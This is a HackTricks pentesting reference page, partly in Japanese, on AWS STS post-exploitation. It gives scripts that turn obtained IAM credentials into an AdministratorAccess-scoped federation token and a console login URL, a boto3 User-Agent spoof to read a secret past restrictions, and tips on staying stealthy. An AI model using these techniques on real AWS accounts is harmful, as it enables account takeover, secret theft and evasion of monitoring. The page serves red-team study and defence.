AWS - STS Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

STS

詳細については:

AWS - IAM, Identity Center & SSO Enum

From IAM Creds to Console

IAM credentials を取得した場合、以下のツールを使用して web console にアクセス することに興味があるかもしれません。
user/role は sts:GetFederationToken 権限を持っている必要があります。

カスタムスクリプト

以下のスクリプトはデフォルトのプロファイルとデフォルトの AWS ロケーション(gov と cn ではない)を使用して、web console にログインするために使用できる署名付き URL を生成します:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

このツールを使って、Webコンソールのリンクを生成できます: https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Warning

IAMユーザーに sts:GetFederationToken 権限があることを確認するか、ロールを引き受けるための権限を与えてください。

aws-vault

aws-vault は開発環境で AWS の認証情報を安全に保存・アクセスするためのツールです。

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Note

aws-vault を使って ブラウザコンソールセッション を取得することもできます

Web Console から IAM Creds へ

The browser extension https://github.com/AI-redteam/clier is capable of intercepting from the network IAM credentials before they are protected in the memory of the browser.

Python から User-Agent 制限をバイパス

If there is a restriction to perform certain actions based on the user agent used (like restricting the use of python boto3 library based on the user agent) it’s possible to use the previous technique to connect to the web console via a browser, or you could directly modify the boto3 user-agent by doing:

# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])

sts:GetFederationToken

この権限があれば、これを実行しているユーザーの持つ権限に制限されたフェデレーテッドアイデンティティを作成できます。

aws sts get-federation-token --name <username>

sts:GetFederationToken によって返されるトークンは呼び出し元ユーザーのフェデレーテッド・アイデンティティに属しますが、権限は制限されます。たとえユーザーが管理者権限を持っていても、IAM ユーザーの一覧表示やポリシーのアタッチなどの操作はフェデレーテッドトークンでは実行できません。

さらに、この方法はややステルス性が高く、フェデレーテッドユーザーは AWS Portal に表示されず、CloudTrail ログや監視ツールでのみ確認できます。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする